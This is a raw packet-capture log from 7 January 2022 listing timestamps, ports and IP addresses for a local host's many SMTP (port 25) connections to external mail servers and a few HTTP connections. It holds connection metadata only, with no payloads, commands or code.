Jan 7, 2022 15:56:03.889156103 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889199972 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889211893 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889225006 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889235973 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889278889 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889318943 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889331102 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889400005 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889486074 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889498949 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889507055 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889518023 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889532089 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889543056 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889554977 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889566898 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889578104 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889590025 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889799118 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889839888 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889851093 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889863014 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889873028 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889884949 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889897108 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889921904 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889934063 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889997959 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890121937 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890134096 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890146017 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890245914 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890259981 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890271902 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890281916 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890321016 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890332937 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890362978 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890374899 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890384912 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890521049 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890532970 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890559912 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890638113 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890675068 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890760899 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.890774012 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891180038 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891196012 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891284943 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891298056 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891309023 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891320944 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891448021 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891459942 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891472101 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891484022 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891607046 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891619921 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891629934 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891679049 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891726971 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891738892 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891751051 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891762018 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891774893 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891787052 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891798973 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891809940 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891820908 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891833067 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891844034 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891854048 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891865969 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891876936 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891889095 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891921043 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891932964 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891943932 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891956091 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891983986 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.891995907 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892038107 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892076969 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892105103 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892139912 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892153025 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892167091 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892179966 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892191887 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892205954 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892218113 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892324924 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892337084 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892354012 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892366886 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892400980 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892412901 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892441034 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892528057 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892540932 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892550945 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892563105 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892575026 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892585993 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892596960 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892607927 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892621040 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892632961 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892646074 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892657042 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892668009 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.892678022 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.925234079 CET	25	49773	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:03.925262928 CET	25	49773	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:03.925405025 CET	49773	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:03.967108965 CET	25	49773	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:03.967139959 CET	25	49773	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:03.967339039 CET	49773	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:04.000972033 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.009092093 CET	25	49773	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:04.009119987 CET	25	49773	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:04.009236097 CET	49773	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:04.009264946 CET	49773	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:04.051063061 CET	25	49773	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:04.051095963 CET	25	49773	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:04.051155090 CET	49773	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:04.051187038 CET	49773	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:04.053535938 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.054701090 CET	25	49773	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:04.054763079 CET	49773	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:04.258980989 CET	49774	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:04.301054001 CET	25	49774	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:04.301206112 CET	49774	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:04.313493967 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.365930080 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.366022110 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.366223097 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.418385983 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.418410063 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.418473005 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.418504953 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.418615103 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.470866919 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.470887899 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.470900059 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.470911980 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.470988035 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.471044064 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.471419096 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.523507118 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.523535013 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.523541927 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.523550034 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.523561001 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.523571968 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.523582935 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.523593903 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.523673058 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.523730040 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.527035952 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.576055050 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.576081038 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.576093912 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.576105118 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.576117039 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.576128006 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.576139927 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.579447031 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.579472065 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.579484940 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.579495907 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.579508066 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.579519033 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.579531908 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.579747915 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.579792976 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.632159948 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.638760090 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.691061974 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:04.691164017 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:04.928397894 CET	49775	25	192.168.2.4	98.136.96.74
Jan 7, 2022 15:56:05.060801029 CET	25	49775	98.136.96.74	192.168.2.4
Jan 7, 2022 15:56:05.060944080 CET	49775	25	192.168.2.4	98.136.96.74
Jan 7, 2022 15:56:05.141855001 CET	49757	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:05.752433062 CET	49776	25	192.168.2.4	104.47.17.161
Jan 7, 2022 15:56:05.779769897 CET	25	49776	104.47.17.161	192.168.2.4
Jan 7, 2022 15:56:05.779901028 CET	49776	25	192.168.2.4	104.47.17.161
Jan 7, 2022 15:56:05.808240891 CET	25	49776	104.47.17.161	192.168.2.4
Jan 7, 2022 15:56:05.808407068 CET	49776	25	192.168.2.4	104.47.17.161
Jan 7, 2022 15:56:05.835654974 CET	25	49776	104.47.17.161	192.168.2.4
Jan 7, 2022 15:56:05.836070061 CET	25	49776	104.47.17.161	192.168.2.4
Jan 7, 2022 15:56:05.836229086 CET	49776	25	192.168.2.4	104.47.17.161
Jan 7, 2022 15:56:05.863538027 CET	25	49776	104.47.17.161	192.168.2.4
Jan 7, 2022 15:56:05.864378929 CET	25	49776	104.47.17.161	192.168.2.4
Jan 7, 2022 15:56:05.864531994 CET	49776	25	192.168.2.4	104.47.17.161
Jan 7, 2022 15:56:05.864571095 CET	49776	25	192.168.2.4	104.47.17.161
Jan 7, 2022 15:56:05.864636898 CET	25	49776	104.47.17.161	192.168.2.4
Jan 7, 2022 15:56:05.864715099 CET	49776	25	192.168.2.4	104.47.17.161
Jan 7, 2022 15:56:05.891746998 CET	25	49776	104.47.17.161	192.168.2.4
Jan 7, 2022 15:56:05.891769886 CET	25	49776	104.47.17.161	192.168.2.4
Jan 7, 2022 15:56:05.891777992 CET	25	49776	104.47.17.161	192.168.2.4
Jan 7, 2022 15:56:06.144896984 CET	25	49775	98.136.96.74	192.168.2.4
Jan 7, 2022 15:56:06.145023108 CET	49775	25	192.168.2.4	98.136.96.74
Jan 7, 2022 15:56:06.277363062 CET	25	49775	98.136.96.74	192.168.2.4
Jan 7, 2022 15:56:06.277396917 CET	25	49775	98.136.96.74	192.168.2.4
Jan 7, 2022 15:56:06.277667046 CET	49775	25	192.168.2.4	98.136.96.74
Jan 7, 2022 15:56:06.346200943 CET	49777	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:06.367178917 CET	25	49777	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:06.367290020 CET	49777	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:06.377551079 CET	25	49774	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:06.377718925 CET	49774	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:06.407398939 CET	49760	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:06.410912037 CET	25	49775	98.136.96.74	192.168.2.4
Jan 7, 2022 15:56:06.411015987 CET	25	49775	98.136.96.74	192.168.2.4
Jan 7, 2022 15:56:06.411075115 CET	49775	25	192.168.2.4	98.136.96.74
Jan 7, 2022 15:56:06.411098003 CET	49775	25	192.168.2.4	98.136.96.74
Jan 7, 2022 15:56:06.411099911 CET	49775	25	192.168.2.4	98.136.96.74
Jan 7, 2022 15:56:06.411358118 CET	49778	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:06.420367956 CET	25	49774	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:06.421668053 CET	25	49774	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:06.421853065 CET	49774	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:06.463939905 CET	25	49774	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:06.523458004 CET	25	49778	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:06.523633957 CET	49778	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:06.533633947 CET	25	49774	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:06.533814907 CET	49774	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:06.543479919 CET	25	49775	98.136.96.74	192.168.2.4
Jan 7, 2022 15:56:06.543500900 CET	25	49775	98.136.96.74	192.168.2.4
Jan 7, 2022 15:56:06.575912952 CET	25	49774	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:06.653603077 CET	25	49774	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:06.653738022 CET	49774	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:06.653768063 CET	49774	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:06.654151917 CET	49779	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:06.661936045 CET	25	49778	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:06.662096977 CET	49778	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:06.694818974 CET	25	49779	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:06.694911957 CET	49779	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:06.695785999 CET	25	49774	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:06.695812941 CET	25	49774	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:06.696417093 CET	25	49774	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:06.696438074 CET	25	49774	91.136.8.41	192.168.2.4
Jan 7, 2022 15:56:06.696511030 CET	49774	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:06.696528912 CET	49774	25	192.168.2.4	91.136.8.41
Jan 7, 2022 15:56:06.774302959 CET	25	49778	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:06.774329901 CET	25	49778	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:06.774425030 CET	49778	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:06.886941910 CET	25	49778	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:06.887109995 CET	49778	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:06.887140036 CET	49778	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:06.887499094 CET	49780	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:06.888537884 CET	25	49778	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:06.888643980 CET	49778	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:07.000683069 CET	25	49778	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:07.000911951 CET	25	49780	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:07.001013994 CET	49780	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:07.114787102 CET	25	49780	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:07.114881992 CET	49780	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:07.228367090 CET	25	49780	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:07.228394032 CET	25	49780	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:07.228630066 CET	49780	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:07.342617989 CET	25	49780	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:07.342643976 CET	25	49780	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:07.342714071 CET	49780	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:07.342781067 CET	49780	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:07.342797995 CET	49780	25	192.168.2.4	67.195.204.77
Jan 7, 2022 15:56:07.456340075 CET	25	49780	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:07.456353903 CET	25	49780	67.195.204.77	192.168.2.4
Jan 7, 2022 15:56:07.807876110 CET	49781	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:07.864378929 CET	25	49781	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:07.864476919 CET	49781	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:07.869965076 CET	25	49768	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:07.870984077 CET	49768	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:07.929008961 CET	25	49781	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:07.929131031 CET	49781	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:07.931346893 CET	25	49768	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:07.931603909 CET	49768	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:07.985665083 CET	25	49781	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:07.985692978 CET	25	49781	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:07.985802889 CET	49781	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:07.991982937 CET	25	49768	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:07.992753983 CET	49768	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:08.043447971 CET	25	49781	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:08.043752909 CET	49781	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:08.078525066 CET	25	49768	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:08.081042051 CET	49768	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:08.081417084 CET	49782	25	192.168.2.4	193.239.71.112
Jan 7, 2022 15:56:08.081418037 CET	49768	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:08.111568928 CET	25	49781	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:08.112070084 CET	49781	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:08.115799904 CET	49781	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:08.136307955 CET	25	49777	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:08.137130022 CET	49777	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:08.141515970 CET	25	49768	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:08.141547918 CET	25	49768	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:08.141587019 CET	25	49768	213.186.119.6	192.168.2.4
Jan 7, 2022 15:56:08.141722918 CET	49768	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:08.143794060 CET	49768	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:08.143822908 CET	49768	25	192.168.2.4	213.186.119.6
Jan 7, 2022 15:56:08.158035040 CET	25	49777	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:08.168826103 CET	25	49781	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:08.168884993 CET	25	49781	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:08.169044971 CET	49781	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:08.172372103 CET	25	49781	77.88.21.249	192.168.2.4
Jan 7, 2022 15:56:08.172467947 CET	49781	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:08.172530890 CET	49781	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:08.332005024 CET	25	49777	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:08.333750963 CET	49777	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:08.354634047 CET	25	49777	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:08.354655981 CET	25	49777	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:08.354803085 CET	49777	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:08.354832888 CET	49777	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:08.375905037 CET	25	49777	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:08.375979900 CET	49777	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:08.376287937 CET	25	49777	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:08.376341105 CET	49777	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:08.753067970 CET	25	49779	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:08.753217936 CET	49779	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:08.794169903 CET	25	49779	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:08.794825077 CET	25	49779	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:08.795046091 CET	49779	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:08.835629940 CET	25	49779	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:08.913746119 CET	25	49779	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:08.913954020 CET	49779	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:08.954659939 CET	25	49779	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:09.015702963 CET	25	49779	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:09.015944004 CET	49779	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:09.016379118 CET	49779	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:09.016381025 CET	49785	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:09.057552099 CET	25	49779	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:09.057708025 CET	25	49785	91.136.8.47	192.168.2.4
Jan 7, 2022 15:56:09.057734013 CET	25	49779	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:09.057756901 CET	25	49779	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:09.057842016 CET	49785	25	192.168.2.4	91.136.8.47
Jan 7, 2022 15:56:09.057879925 CET	49779	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:09.058651924 CET	25	49779	91.136.8.46	192.168.2.4
Jan 7, 2022 15:56:09.058763027 CET	49779	25	192.168.2.4	91.136.8.46
Jan 7, 2022 15:56:09.280265093 CET	49786	25	192.168.2.4	77.88.21.249
Jan 7, 2022 15:56:09.339890003 CET	25	49786	77.88.21.249	192.168.2.4
